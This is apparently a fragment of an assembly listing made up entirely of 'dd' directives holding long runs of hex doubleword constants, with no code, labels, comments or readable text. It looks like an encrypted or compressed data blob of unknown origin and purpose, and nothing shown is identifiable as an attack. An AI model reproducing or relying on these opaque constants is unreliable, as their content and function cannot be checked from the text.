		dd 4127403Ch, 1FCAF717h, 1780E4Ch, 0ED8C1464h, 15E4FFDFh
		dd 1C30E9C5h, 0F3C01C3Ah, 0D5C4C460h, 26A8C8D3h, 0EBE93641h
		dd 13740DECh, 0B5ED38h,	4D0EB704h, 0B3608727h, 0B171AA10h
		dd 42281D12h, 30003852h, 8CA0D831h, 91002EDCh, 0D590A529h
		dd 5D6569E1h, 422664D4h, 3E640700h, 0EDB3C063h,	9E006002h
		dd 87FBA2E0h, 0B05BA1F7h, 6FE6C0D4h, 808969FEh,	8FCE600h
		dd 5C82F076h, 3A60004Bh, 0DDB3540Fh, 8F006662h,	0E2F2A416h
		dd 3A0D050h, 23D1462Bh,	180B0D57h, 83AF3E83h, 0A050A321h
		dd 0E59664Fh, 609B07D2h, 418FBFE0h, 6BE045D3h, 0A43B860Ch
		dd 71A2AE0Bh, 0D8140031h, 517A2697h, 703981A5h,	0E6E803F0h
		dd 0D8F4772Eh, 0C04976D7h, 85D1CCB2h, 0B400EFFFh, 0F1419B1Ch
		dd 0E65FE6CFh, 1115013Dh, 40902DC7h, 0BD1CD0E1h, 0A210BE00h
		dd 9DB66346h, 0C00D4EC0h, 0E483B58Fh, 8536D705h, 10C03779h
		dd 1C292691h, 45BC138Ah, 0D0100671h, 0BDC8F718h, 0DDA0F200h
		dd 3413B9D1h, 0C412182Ah, 4ADB90CAh, 590E6DE0h,	0A0F2BACDh
		dd 0B7AB6422h, 10B863h,	6250C91Bh, 0F981EB6Fh, 0CA0B7D00h
		dd 7AEC3425h, 8A3C0215h, 7FF42D94h, 765AB160h, 1B15603h
		dd 0B26E874Fh, 8E7040FAh, 0BFC8E9B5h, 3CB02Ch, 11133A3Bh
		dd 0D5E5933Fh, 0FD0D7607h, 0B7404A87h, 0FDF06CDh, 0E4C16ACFh
		dd 4978EAA0h, 53008D7Dh, 3843A828h, 74477Fh, 6AEE86B2h
		dd 6C54C34Bh, 0E29EC20Bh, 0D71C0033h, 10AFC5Eh,	7603A5B5h
		dd 40F08584h, 1A908B98h, 0BA32821Ch, 65C0B4DEh,	0F50DDCAFh
		dd 0E1693AECh, 8C6B3E00h, 9EBF3BE9h, 94B8DE05h,	58C02724h
		dd 26581540h, 1C84FC74h, 92044033h, 0C2E4EE0h, 87BEF73Eh
		dd 853CA4F3h, 11ECB800h, 0B4354DE9h, 0AD9D1Dh, 0EE6CFC66h
		dd 0F27F4934h, 0A05F5B12h, 551EA400h, 9C9207Ch,	272A4F43h
		dd 9A15C200h, 97007A3Ah, 0B73EC0BFh, 0E834A60h,	9846328Fh
		dd 0B9684200h, 0B87BB27Ah, 5600E771h, 0DEB7D6FEh, 0B295ED59h
		dd 1CCD00B8h, 694F7915h, 62000C8Dh, 3F8AA5E4h, 0E0FD3C5h
		dd 0AC263E2Eh, 3A29FC0h, 160EC14Dh, 43493569h, 0F8B7E308h
		dd 41B1075h, 0CDD1606Dh, 4A68C0CCh, 48B02DB5h, 66435F01h
		dd 64CFD901h, 0F88F020h, 187F1FF9h, 0E974AD20h,	9650638Eh
		dd 27245D7h, 31FB6B00h,	12DFF846h, 0E4590987h, 0FC85B948h
		dd 429B00D7h, 0BA628CC9h, 775DD500h, 0EFFD82C5h, 58800039h
		dd 0FE506EF4h, 20073D83h, 0B8B0F816h, 4F4785C0h, 7CE000AFh
		dd 9B2C3259h, 290088B2h, 165A3938h, 0A122EEh, 508A665Fh
		dd 99B97E2Ah, 512C7805h, 2C805AF6h, 59E325h, 0ACB42FD9h
		dd 81DF4DC5h, 9BB9A200h, 0FE9C8E05h, 9A83A14h, 0E198024Fh
		dd 38403D85h, 520108ADh, 59DD62E7h, 0B9E414E9h,	3B320FC0h
		dd 37B820h, 2AFB5207h, 49FC0945h, 577E0E00h, 6EDB037Ch
		dd 8EBF03B2h, 3FA71827h, 3EE3B0E7h, 0CA4DB343h,	674400E0h
		dd 60F973AAh, 0EA5D062Ch, 80EC9F6Ch, 0E978C5B0h, 11E35833h
		dd 820DC03Dh, 3E14E007h, 0EC800AAAh, 7526B32Ch,	0EB6037D5h
		dd 60E95158h, 2430DC2Eh, 0D57C8320h, 21605B1Bh,	56313870h
		dd 14FB03DBh, 3C898126h, 204FF930h, 0F8BF50DFh,	0B90CA06Fh
		dd 8328A020h, 7D98B099h, 0CCC207E9h, 18BADBh, 0BDD1AA0Bh
		dd 3025ED4Ch, 2237A8F3h, 5656C0DBh, 55F97CEh, 0B9013879h
		dd 84D5C9F2h, 0A5F429BAh, 0FDB4008Bh, 0A9DC01AEh, 3800C29Dh
		dd 512A8E8h, 75ED7642h,	9FFD00CEh, 0B608C488h, 3300C98Eh
		dd 0E6F2374Eh, 3ED916Ah, 942CE24Bh, 0ADC857E8h,	1760B609h
		dd 0F6E664B9h, 0F1490727h, 0F781CA5Dh, 213C4614h, 0F6DE4100h
		dd 1B722335h, 3249007Ch, 0AA2AF444h, 724BE28h, 5A401055h
		dd 74DAD731h, 0C9600C50h, 62080AB9h, 7720BE60h,	8ED799h
		dd 9317CB65h, 0AAD64BF9h, 0D1EC98C1h, 0B040BDF1h, 6DF08BAh
		dd 0DA4BF698h, 46820B1h, 465C6091h, 0A45500CDh,	2C9E65C8h
		dd 0B5F21896h, 68E421CAh, 6EFCC400h, 0D7C3FB7h,	50BEE2A1h
		dd 303D74Dh, 6F1CB1Eh, 3000C2ECh, 8A9F8D04h, 70153679h
		dd 7D2E31EAh, 80399C08h, 8907EE20h, 51AEC5h, 29813760h
		dd 0F1CDD9A3h, 64DC80Ch, 2C58E4h, 5BD0BDB1h, 0E91C5391h
		dd 541F1700h, 84F7F065h, 982F019Ah, 0AA9F2AD6h,	8E46D8EAh
		dd 3C10F400h, 6E0899F3h, 843000ECh, 179D9B0Eh, 3DE6EDACh
		dd 0F6F35A00h, 0B8C42665h
		dd 0E19C0062h, 9FB07B83h, 130092F8h, 0FB049AA2h, 0C7355Bh
		dd 0DFC86B56h, 3D3FE977h, 0A558200h, 9646A8E5h,	0BF63E52h
		dd 56410580h, 0B1EEF5E6h, 0B486AA02h, 60ACD3E8h, 7B91B350h
		dd 76D70E0h, 8880BD53h,	3BA57048h, 13000668h, 30BBE1D3h
		dd 0ED1A55h, 0E28DA216h, 714E994Ch, 847E0A0Fh, 59576036h
		dd 7DE99Ah, 0E060F467h,	0D4EA6993h, 79824200h, 0AB9826D0h
		dd 8788Dh, 0B92CA6ADh, 813B6658h, 5BF97500h, 701CE329h
		dd 0EF650005h, 24E88393h, 72004210h, 998085CCh,	0F4730B2h
		dd 0A80CADB3h, 1F017480h, 2F00B476h, 6FD34C2Dh,	0F865EDh
		dd 20871626h, 0E77A18B6h, 0FA0132F0h, 2706E0C8h, 11FC82BBh
		dd 0EE307C6h, 402A55C3h, 0E105CA89h, 94EF1C07h,	0B7E0877Dh
		dd 74F45442h, 0A8FAC4h,	0F90D8274h, 5CA3A585h, 4D1F9F00h
		dd 0B14131C3h, 4204072Ah, 0C005F6CCh, 7BB71ADDh, 0BD5BE00h
		dd 4E9A274Ch, 3C72741Dh, 0C980AD31h, 0BE9F9C9Dh, 0ACA112FFh
		dd 3CB0402Ah, 0BA06EEF2h, 8EEA4AA0h, 0A2108819h, 106B607Fh
		dd 0E9983D62h, 0E47243Dh, 0C0DC5041h, 469212A4h, 1A8607A2h
		dd 26659452h, 33422991h, 1109D811h, 4A3E191Ah, 2284C744h
		dd 0EE423151h, 11ADFA11h, 361143DBh, 3C62280Ch,	42AED622h
		dd 0E616088Fh, 14561491h, 1189C911h, 0A61142C3h, 3CEA28E4h
		dd 509FFE22h, 0F3952897h, 5C107E12h, 41AB8986h,	90FECB14h
		dd 0EB8232A1h, 9F04CAC1h, 1EAE405Dh, 21C5AA3Eh,	68F47100h
		dd 70D5866Ch, 35A60F4Ch, 3C02324h, 1998E0C6h, 0FBF5EC00h
		dd 0D2CCCB7Ch, 0B52C0B59h, 55809DB9h, 0B04DD3BDh, 2E4FD00h
		dd 0AF6ED39h, 8A6B6001h, 0E02044B6h, 0DBB56D00h, 5E063681h
		dd 0E3370089h, 5ABD28C3h, 9E986034h, 3E1DC00h, 0A25E75A0h
		dd 0EB2300B4h, 1CB0458Ah, 6C009F80h, 7B786466h,	68AD0Dh
		dd 81EC3641h, 8EB9836Ah, 0BC5BA300h, 0D886D21Ah, 296600E2h
		dd 3BACC1C0h, 0D6392F02h, 806DB9BAh, 657AB039h,	4F61D7h
		dd 146C81Dh, 9F88CD98h,	0ED928E00h, 0F6E132C7h,	0AB1D1F62h
		dd 275F4C06h, 6D0E1838h, 40A1D7F3h, 783E51E3h, 0F09A00A5h
		dd 56A09726h, 64736EEAh, 0E22DFB04h, 0DC12CC3h,	0C0807FDFh
		dd 0E134E898h, 0A2F622D0h, 5B45F503h, 0ACB80A69h, 1899C6h
		dd 0E43499D2h, 44B71019h, 959F3507h, 0F580D0F1h, 440D2EBh
		dd 866F3DEAh, 23C42Ah, 3ED169A0h, 0FA26A105h, 6D006797h
		dd 3285D928h, 0C080FB21h, 6B4E1102h, 4734316h, 0CCBF40F5h
		dd 0D0000ECDh, 50AE90F3h, 4899393Fh, 7FC827h, 58652576h
		dd 0A20FFAC1h, 0AB0238E6h, 532B5E2Fh, 0ADE280A1h, 0D522C6h
		dd 8249ACFEh, 4DFFD9F9h, 4EA11700h, 8BB53EAAh, 25E800FCh
		dd 0E09DC386h, 2A28E9BEh, 67FE8C85h, 3B247AC0h,	482355E5h
		dd 3E02AFE0h, 0D1ACA326h, 0A38E8C87h, 0ECF04284h, 0CB1FB150h
		dd 1C0024C9h, 0AEAD9D0Fh, 451E1F80h, 0F4EFC0C7h, 0E255D661h
		dd 8F8A8500h, 8B659DCAh, 397E6326h, 0C0FBACE5h,	0F0371D89h
		dd 0EE002867h, 50A886CDh, 7B50C85h, 4B10A71Bh, 0A55A505Eh
		dd 5828E3A9h, 6C1FE231h, 8D009FB4h, 2CF77935h, 88E8003Dh
		dd 10CC6F49h, 0BD01AAC4h, 619F87FCh, 0AFF82183h, 0A20900C6h
		dd 84A1F0F7h, 0BF17D5FDh, 207AB9Ah, 0A0C2BEBBh,	8E88604Fh
		dd 2B4C0028h, 8B0C7B4h,	0A900CACFh, 0EA24FC10h,	986A3F3h
		dd 0BE09D2E3h, 8D405001h, 0F8E2F581h, 7700ED5Ch, 8411C1CCh
		dd 0CA4B30h, 0B4551DF9h, 0DA5E9A7Ah, 75D9AB00h,	93CBF2C3h
		dd 23070089h, 1D8E746Bh, 0C2004916h, 2E0D403h, 0E2F3405Ah
		dd 0AB940068h, 0E579A5F7h, 0A100C018h, 0E6C5D501h, 1203CA42h
		dd 6709E09h, 0C0E46DA0h, 0B9019702h, 689A8DB2h,	9844F4h
		dd 7FA18CC8h, 0BE51535Fh, 0CEE69514h, 70F400FCh, 0ADF20952h
		dd 759618D2h, 880518C9h, 0D80160F2h, 3424F164h,	0A6E03A59h
		dd 0F5AA00CDh, 0DAD0FF1Eh, 0CC008C6Ch, 957D844Fh, 1C8077h
		dd 6DE332D8h, 0EA82A1DDh, 623E9F01h, 0FF37B946h, 8965C0h
		dd 0DCE4EB8Dh, 2E5011AAh, 3300EE72h, 0D839A572h, 0C5C67Bh
		dd 873B9C55h, 28864312h, 0D13F9A07h, 2EB5A32Dh,	594EF800h
		dd 769C80h, 0DC9979D0h,	1CD8FBBCh, 0A6B7C100h, 18B2BB6Dh
		dd 3E900059h, 96C22546h, 67FA64E7h, 0FDFF90A0h,	59DF2D00h
		dd 0A4D374E4h, 38550057h, 18B5B981h, 0AF0522E1h, 2049AA72h
		dd 4C11D821h, 5B358F50h, 9D6035Dh, 0FA5AA7EFh, 0A5731590h
		dd 0C7329200h, 0F5283376h, 1F0C0012h, 4A45DE2h,	0AECBD18h
		dd 0EAF1D903h, 0A8DFAFFFh, 0AC995DAh, 3CDCB030h, 14F780D0h
		dd 62B7EFC3h, 80D33639h, 2209E16Bh, 0FA29759h, 0E05EB90Eh
		dd 7B206FCFh, 3D26B095h, 56F28700h, 106AEBDEh, 2C621C0Fh
		dd 0CC283Fh, 0E8CECA30h, 379EAE2Bh, 0B394F900h,	857EAAD5h
		dd 611D0058h, 4B86C69h,	0FE009D89h, 47A58171h, 1DCED4CAh
		dd 0CE66241Eh, 2EE01FBBh, 0B6327AE6h, 4000F6E8h, 1AA6957Ch
		dd 76F19C8h, 98CE63CFh,	563273F3h, 72627CC8h, 0CA3EDF00h
		dd 6A80DB2Eh, 0D77E0F0Ch, 6BE02184h, 17CB85A0h,	1305A200h
		dd 0DE291571h, 37D8A072h, 48A50FC4h, 1B00D3D1h,	804D9E1Ch
		dd 0C920782Ah, 0BA876A1Fh, 0E3B00BDh, 4415D32Dh, 78E60004h
		dd 55FEE4F0h, 3200C8EEh, 0C1DCC7FFh, 0A57416h, 138F0AAAh
		dd 0EA801AF9h, 0D500CC79h, 23381F7Fh, 58446A28h, 40053B10h
		dd 976C9EDEh, 128B1020h, 5209465Ch, 9D1C389h, 761080D0h
		dd 459D7DBh, 0E233E771h, 4670803Ch, 3700384Eh, 0EE4D782Bh
		dd 0F6806Eh, 7BA9E274h,	76CE9064h, 32DF8D13h, 13019C1Eh
		dd 70F0694Eh, 60E30EF4h, 0FB981831h, 0EB48911Fh, 71084814h
		dd 604ADE38h, 0CEF9210h, 0C33D001Ch, 65280B0Fh,	0A11C91B7h
		dd 0D4C4469Dh, 4A0F05Fh, 287428DFh, 952B12EAh, 764C02F2h
		dd 48646917h, 7F20FE18h, 0EBAD8h, 0C807CFAEh, 5C9D3F28h
		dd 98D6683Eh, 31E04336h, 0A1210CF3h, 0A210578Bh, 0AF849F08h
		dd 19B38001h, 93B292BEh, 30BA662Ch, 0D12B0D03h,	0ABB6F038h
		dd 49120017h, 9D8E7B4Dh, 42024CE3h, 0C83CEFB0h,	80ACFEA8h
		dd 0CB81F6C6h, 1624BCD7h, 670037CCh, 61CDA548h,	8456501Ah
		dd 7C990F78h, 0F3207128h, 321BB2E5h, 2035AD07h,	0A4209C2Ch
		dd 24288C2Bh, 1041A88h,	85FCC9F9h, 73E0FB13h, 0D70E38F0h
		dd 0EEC0DEE0h, 89B8E025h, 0E6A6529Fh, 90EA671Ah, 103C2098h
		dd 4201D955h, 0E6FC0ED1h, 0B2D812DDh, 15AE00C6h, 5537F999h
		dd 0E40023BEh, 0E83C2F6Dh, 77819D61h, 24E5F65Fh, 47471F2h
		dd 0C0D6506Bh, 8F013871h, 61270F00h, 41111404h,	0DE3D00E4h
		dd 0F4372E6Bh, 19009A3Fh, 0F9C5864Ah, 1D7AEC6Ah, 0C98B90h
		dd 2C239EE4h, 1B601DC7h, 7BF746E0h, 6090499Dh, 9B444700h
		dd 0FB87F242h, 0E16CAA00h, 1B415191h, 0E0160073h, 7AE9D9B4h
		dd 751DA338h, 204CE129h, 3510C25h, 5AE7EC6Dh, 0ACD09B37h
		dd 7330667Eh, 860D5292h, 9922007Ah, 52280477h, 0F3076C35h
		dd 8F784769h, 0F02A7CD1h, 927F2983h, 12E04926h,	77000EDAh
		dd 30CD3CECh, 0FA34B682h, 732200F6h, 0B5A6D043h, 79009F6Fh
		dd 4C5B03CEh, 1F2E4FCh,	9CB27696h, 20CD7AADh, 7C009054h
		dd 0AC399919h, 72B8ED3h, 33FE9D5h, 0C4185034h, 8900ECE8h
		dd 2D0416CDh, 6293E2h, 5BE96BB0h, 7AD07D7Bh, 31B2D800h
		dd 11CA390Eh, 0F29F0147h
		dd 0FCC3A92Fh, 0CF21FC75h, 8837580Bh, 1C1C208Fh, 0F66C99h
		dd 956ABFEAh, 16E6E4FDh, 0C89BA102h, 40E0CA90h,	0DBE9BAh
		dd 0E6DEA1Dh, 0D8834C95h, 0E7080B1Fh, 2E046040h, 9ED7C2h
		dd 0E177091Dh, 0FD2F9089h, 552CA200h, 76717973h, 7AB1E618h
		dd 0A54F02C6h, 812202AFh, 904DF040h, 4887A700h,	0BD82986Ah
		dd 0E54E4A8h, 0E8E378F8h, 0E0A46820h, 0E100330Ah, 0EEBB73CFh
		dd 307C0639h, 37B8F726h, 133749E5h, 1246883Ch, 7F710019h
		dd 0B1439489h, 4600D72Ch, 532F5BD4h, 0ADDF7Eh, 44EBE295h
		dd 0D180F3Eh, 0C45AF21Eh, 93307380h, 3F5A161h, 50462CADh
		dd 0B0079F44h, 0EF962462h, 0F204F310h, 0CD86000Eh, 2DE13718h
		dd 8200E0F8h, 0E33DD627h, 3D6BEB5Bh, 76B9C7D0h,	0A426A087h
		dd 0A04B0710h, 2D6E8F74h, 0B552F901h, 20AF667Ah, 0E94AF820h
		dd 7D321034h, 5B750027h, 0DA4C0913h, 0CC79A97Fh, 0C3D1782Eh
		dd 0F4DBC00h, 313FB90h,	2779303Ah, 7BB02384h, 6C00FCD0h
		dd 0EA71B0FFh, 0FB2CE5h, 473F0D95h, 936902EDh, 5314AF07h
		dd 48902920h, 0F152366h, 0FC0D1BEEh, 7BDA4E20h,	1EE88983h
		dd 0A2B68A00h, 5EA9D0F2h, 30C5004Fh, 0DD78BAFAh, 0CAF2224Eh
		dd 415AF800h, 562A50AAh, 74CE7452h, 2B5809B7h, 7800A073h
		dd 8E519C48h, 41CCCD00h, 0B739DABDh, 0E477DA2h,	389A1C6Eh
		dd 0B41763C0h, 9C608559h, 949DDA10h, 0B07F0075h, 8B86AA2Eh
		dd 0BA008AB5h, 124346Fh, 1DF298F9h, 81724C18h, 21886887h
		dd 0B40A202Dh, 0DD32F800h, 6E51187Fh, 144F0039h, 79269686h
		dd 8828F390h, 0CD00886Bh, 0D79D1F9Ah, 9B92B1h, 0BCB7348Eh
		dd 6757466Fh, 713F4F70h, 0D3A0009h, 2EF02B7Ah, 0F6CFFE55h
		dd 15EC000Ch, 4081F24h,	0A2000799h, 2ACA2EA7h, 0F3EF87Eh
		dd 6E323055h, 0C4CDC6E0h, 54009C8Fh, 0A794FBB2h, 9BC9DBh
		dd 78355A8Ah, 86B501D5h, 82A19E1Dh, 3749C680h, 0BF75FBEh
		dd 8704AA60h, 402F4707h, 9F4E28DFh, 0D5A10C0h, 5ADD5A7h
		dd 7F9B1C27h, 8E040ECh,	0FA6B901Dh, 79B4730Fh, 0CCB44Fh
		dd 564D3DE7h, 3E03F48Ah, 0FA248FD0h, 0F79D3F57h, 132E8075h
		dd 6957DF0Fh, 0F8D04960h, 3686C15h, 1BB35CB9h, 0CFB0EE51h
		dd 7500E150h, 0C43BD93Eh, 0C92454h, 0E03C498Eh,	0BF33634Fh
		dd 0D67AD500h, 0F87BEB38h, 5B0B0075h, 4D349A92h, 8C0EB6A4h
		dd 40F0E837h, 0A693C912h, 0A92926F7h, 3332C93h,	67D95DC2h
		dd 0CAE042C8h, 0FE6D721Eh, 8B1C4D00h, 3E7B25C4h, 1300DC95h
		dd 266A03EEh, 50B56C6Dh, 29B700A1h, 7A06FAEFh, 2D3EF760h
		dd 0C1C226D4h, 5EF59A00h, 583B21h, 81CD5ECh, 0CC6BED34h
		dd 0C507A400h, 8A2510B4h, 98DB009Ch, 69771714h,	0AB72D87Eh
		dd 18309F00h, 34DC9BD0h, 0C76800E2h, 0FC789049h, 4200456Fh
		dd 3040EE22h, 270616h, 37FBE25Eh, 0FA2D2FA4h, 0FFDF8301h
		dd 111F3342h, 0C1B8F4h,	643E7080h, 23ECB327h, 8401A8A0h
		dd 5B0AD000h, 323DF79Bh, 532800BCh, 7FC94013h, 91E479F3h
		dd 0AEDCC500h, 0A102CFA4h, 61AA0307h, 428FC748h, 0A64BF0AFh
		dd 157F8A7Ah, 22186C40h, 0F078B9A2h, 0ADDDEE00h, 0AE5DD960h
		dd 0EF25003Ch, 2BA53005h, 1E0E9FEAh, 0B59699h, 0E5BD1347h
		dd 14977CFDh, 0CC7DC9CFh, 9EAF819Dh, 0FC051D30h, 110023C3h
		dd 0AD7E3287h, 717A1DEh, 98264690h, 0D78C60EAh,	3409D0A7h
		dd 0AF207Ch, 0ACCA41E0h, 34B042h, 440E915Ch, 1E50A626h
		dd 4FB56C05h, 0C802C267h, 0C088D1E4h, 0D46232h,	3A0165F8h
		dd 734059CFh, 96577538h, 0F5026E47h, 406085CCh,	923F796h
		dd 0CE6DD7ECh, 0E8200400h, 410FABFCh, 61647C1Ch, 873F1EEEh
		dd 35347F8h, 0FBA4601Fh, 26D80150h, 0AB00D443h,	3BE60AE3h
		dd 0E847E1D6h, 9CEE007Eh, 3D4C9FF9h, 0D7541FEh,	0B4429700h
		dd 5ECD90EBh, 0F07C50FDh, 0D7550C8Ch, 0A6204F6Fh, 908F1B00h
		dd 692A8789h, 0A3DB0122h, 93499F1Fh, 145CD4FFh,	0D92D718h
		dd 8CFB0h, 2DE0B131h, 0A4475A0Bh, 0E5185900h, 69FBE13h
		dd 0C4AE0BF1h, 0FD80267Fh, 0F251C762h, 48D78807h, 0FD90AC3Dh
		dd 12B55A19h, 1A0DD7Fh,	85A4B274h, 0F03E21DBh, 0A500ADFFh
		dd 16057FFEh, 0EE2F0h, 0C6EB77CDh, 6F677B34h, 87F3DC00h
		dd 39D6AF99h, 920A0089h, 27988E19h, 9358D232h, 0E3F400E4h
		dd 1716C6BEh, 83E10089h, 8F15EA92h, 70165C4h, 0B0CC5404h
		dd 78203E74h, 0F91C07E9h, 511383AFh, 24369AB7h,	249AD8B4h
		dd 156FF200h, 2C97446Dh, 0CD8A0F57h, 0F3C03288h, 90CA17BBh
		dd 2D024C76h, 397D22C3h, 8078404Ah, 6D530225h, 7F09BBE4h
		dd 0CB87F048h, 0E87A8E31h, 36301C80h, 0BCEF4FDAh, 23FE0020h
		dd 34251149h, 812B0138h, 0B54B7CBBh, 0D13F6097h, 0BE8EC33Bh
		dd 70ED03A8h, 0F914299Bh, 1EF4D079h, 0AC4504CFh, 809E4296h
		dd 0DD752594h, 7D18CC18h, 41281h, 0AF32782Ah, 0E27EC01Bh
		dd 857EBA71h, 7167E501h, 17997AA3h, 0EC0A15C4h,	3523958h
		dd 5125D200h, 7537F92Fh, 0B0FADE0Ch, 0A08728F0h, 39E896E0h
		dd 0DB8C8F06h, 2C809C20h, 60932600h, 0AA3756ECh, 0F4DC0197h
		dd 178A7810h, 0F87CD18Bh, 0E40E0C4Eh, 0C067C9DDh, 271E799Ch
		dd 0CBF2006Fh, 3EC453C7h, 6250BB13h, 0FB008D88h, 0D01C963Fh
		dd 91A436h, 0F5C84B55h,	5CFA906h, 995E8E03h, 0C047B789h
		dd 6B6F60h, 0E3357944h,	59B97451h, 0A6FB9806h, 0A86430h
		dd 440B424Eh, 437A95E4h, 82A08339h, 0A386239Ch,	9DD2603Fh
		dd 42B0059h, 0F650CBD2h, 1A98CE36h, 90121600h, 0B4687BB6h
		dd 0C7050092h, 0A5898F1Ah, 27768025h, 9CB13000h, 0A2E12603h
		dd 88C00069h, 9FD0312Bh, 6300598Ah, 0CCF686DEh,	7D16096Fh
		dd 18733EADh, 9FD27C01h, 20363869h, 1008358h, 5A1EE98Fh
		dd 3AD1ECh, 0E2515F5Eh,	2E1926B4h, 3CA8B800h, 10944D76h
		dd 0E9D5007Ah, 3D3AC05Eh, 516BC02h, 8008A6Bh, 1C23EFA7h
		dd 53B100A4h, 0F2B07D28h, 0C27AF9E4h, 0F7836A04h, 88C02969h
		dd 7E49CBh, 0F6027F4Bh,	0F1179BB2h, 0B8145400h,	0A4356BDFh
		dd 0E8ECC2F8h, 1C604A4Bh, 43001CC9h, 0E7C6C8B2h, 0F633EE7Dh
		dd 0D994000Ah, 8E694F7Ah, 12013D18h, 437F745Dh,	5120B39Ah
		dd 3AC4008Ah, 0B42483C1h, 9F00FD48h, 0C21D1151h, 3199010h
		dd 3DF18456h, 0FEB09C15h, 7924B234h, 0C9004888h, 0F606C3A2h
		dd 0ED5513EFh, 217C013Fh, 0EC9DF530h, 0D7131F38h, 704A6724h
		dd 6C80D092h, 0EF64EE04h, 2786003Ch, 38B8BFEAh,	0D8900FF5h
		dd 90A77E00h, 0F4E4A033h, 511A0082h, 3008F6B6h,	0B003EB9h
		dd 0E5AD0F87h, 1EFA4A0h, 53B00C31h, 400EB78Bh, 0B43852D8h
		dd 0C08E9C01h, 0B1CBFF5Fh, 396950E0h, 0FE3BD5CEh, 1435F400h
		dd 0ED515C56h, 3A130F7Ch, 451C4F8Ch, 62964CC0h,	832339h
		dd 77801F04h, 3F9C86C7h, 2707B4Ch, 0A495010Dh, 0AC590037h
		dd 0A5E23308h, 0AC62F00h, 0CB5B2146h, 7C10E68h,	99C002ABh
		dd 9CA634DDh, 0D97A8705h, 6B80627Fh, 30BA473Fh,	12703C98h
		dd 4926EDB2h, 70047061h, 801CE27Ah, 0D3845313h,	6B30F28Fh
		dd 0D6A5CA57h, 79BB261Fh, 3C5C0725h, 0A6E4E006h, 0E0B1B136h
		dd 0CC56F141h, 0FD35C840h, 0F48900DDh, 0EF5D54A4h, 8A028618h
		dd 0FFFCE087h, 244FE1C0h, 3E3C1030h, 0D900D3F5h, 1851AAEFh
		dd 2B00DDDBh, 7225CD2h,	0A030B9FAh, 2903384h, 0FD7C2E80h
		dd 0C4E8275Eh, 2001AD7h
		dd 7DCD9536h, 50221981h, 0F285E43Dh, 0FA8400E4h, 46168A12h
		dd 0B900ED99h, 0DFC236ECh, 0F3C689h, 5E8310E8h,	0D4678A2Dh
		dd 0A3D6470Eh, 7D7521F8h, 0B870B606h, 2780807h,	0A201838Ch
		dd 32B4FDECh, 395D2900h, 53C36300h, 76DA775Ch, 0DB900051h
		dd 0BBAB7118h, 0D400BA32h, 6CD704ADh, 5094A97h,	33A972C8h
		dd 8148938Fh, 0E237ECB0h, 0E79BD14h, 6A400BD0h,	8FB89112h
		dd 96DCF2FDh, 0BA640BDCh, 1C200504h, 2F6F6EEAh,	200066EEh
		dd 0DDFC172Ah, 0FF9415h, 40986D1Bh, 9203D0B2h, 0D9D6B31Eh
		dd 0D5CCE107h, 0A0818684h, 651035C7h, 0FD3BE015h, 0E7D80105h
		dd 5ABE8091h, 0E0D34BCCh, 0A8DB0026h, 879B09D0h, 6000127Fh
		dd 94FB111Bh, 0B80A4BAEh, 0B8E300B4h, 0E4CEDDEh, 0BB03B696h
		dd 389D5083h, 0E4D3B8E0h, 544803C5h, 0B528CCFBh, 6BD71EA0h
		dd 1E8FF49h, 80FD57D5h,	0DC2002D4h, 0CCD300C2h,	258F8893h
		dd 29009F90h, 46616D5Eh, 0E07FC9h, 0D35F7EC7h, 68941621h
		dd 66001898h, 0B15E3EF5h, 22D70BF8h, 4F22617Dh,	0FF650031h
		dd 0CEA3A973h, 149AE3EAh, 0C73D1700h, 0E00639D8h, 99690080h
		dd 0F3E25BAh, 3CF61FE4h, 0D2536001h, 2BE92C88h,	1030EFE1h
		dd 7E0703A3h, 6A8B666h,	6AD227C7h, 7CFB00A4h, 109037FAh
		dd 5E0B8AE2h, 8556A71Bh, 85819A97h, 60E484E1h, 8C920776h
		dd 907D13EAh, 0CADB300Ch, 0D40E35E6h, 60033D4Ah, 2ABC861Bh
		dd 7A80E91h, 0E3603729h, 0CC0A5208h, 2400FFE0h,	461E60A5h
		dd 3C043F8Eh, 0BA804A9Eh, 0DD68344Ch, 6B001753h, 5F40C7Ah
		dd 76061087h, 0F5BD0048h, 113A7446h, 0DEB02678h, 85D3C50Fh
		dd 0FF2437Fh, 54739831h, 1415000Eh, 448684Dh, 9E0B453h
		dd 0F1FBE30Fh, 0D4C804Fh, 1E0A52Dh, 0D787A37Ch,	0D48DCFD3h
		dd 0A700F11Eh, 3BADA252h, 1FDC712Bh, 8913BC8Ch,	0F70E0977h
		dd 17CEE5C0h, 7398265h,	0F89B80F7h, 51D8B31Ah, 629E07DFh
		dd 809D4C7Bh, 234ABBC4h, 0DE7A90Eh, 0AD75474Fh,	869E1660h
		dd 35821EF8h, 308CA4FAh, 8FD4A168h, 4DF79200h, 6101192Ah
		dd 0FBD1076Bh, 10450A33h, 84EB3B72h, 0BE301B00h, 0C72A4F66h
		dd 0E7290355h, 0ABEDE290h, 0DD160888h, 8814F307h, 0AA509F34h
		dd 0BC35468h, 0D27F58B1h, 32363400h, 3400EC23h,	0B70E98C2h
		dd 0A98BB0h, 3890ED2Fh,	88FE326Ah, 31484B02h, 8FA6A037h
		dd 6EC3A5BCh, 11094380h, 5DF200E0h, 6189D871h, 0C4A8B855h
		dd 34011C37h, 0C2A1C7EAh, 6E0B5Eh, 0E89053CEh, 99005FE2h
		dd 0B20D57DCh, 0AAAF1Eh, 8B77C807h, 94CA147Dh, 0A0F96418h
		dd 0E25B0Ah, 2F8EC0CEh,	6EF81B24h, 9D0291F6h, 1A1264FFh
		dd 54928077h, 8AC35Eh, 421C3FB8h, 29F160C9h, 23009C7Ch
		dd 0A8F83193h, 7C64EA85h, 0E7CE0121h, 7C91D15Ah, 3084FCF9h
		dd 0C993FC00h, 8F5E10E3h, 3A71A8h, 0E6EB4D3h, 41E96C64h
		dd 463BC900h, 0FA34C190h, 0FC4A73F0h, 0E2D301C0h, 5D32F92Ch
		dd 15F5F88Ch, 1B931E0Ah, 830FF0D6h, 0EE23A08Fh,	0F0476h
		dd 0E82569E1h, 0CBC5C0BAh, 9FA21D00h, 0D33017ACh, 1920089h
		dd 0A1F8B46Dh, 3607EB90h, 32E92DC1h, 0C7A257B0h, 1FBF0065h
		dd 7A42FCB3h, 0D904A81Ah, 76679FECh, 0C6BDC280h, 2A780002h
		dd 28AE4D54h, 0BEAB13Eh, 34585B00h, 5731796Ch, 9AF9143Bh
		dd 0AF00C874h, 0ABCA7230h, 9100A42Fh, 0A414028h, 7B0108h
		dd 5023020Ch, 0B835E26Bh, 96F86171h, 0FC2F48h, 757CEDDDh
		dd 0B17AFDh, 89058235h,	0B0DA5DD7h, 147CD39h, 11A827BEh
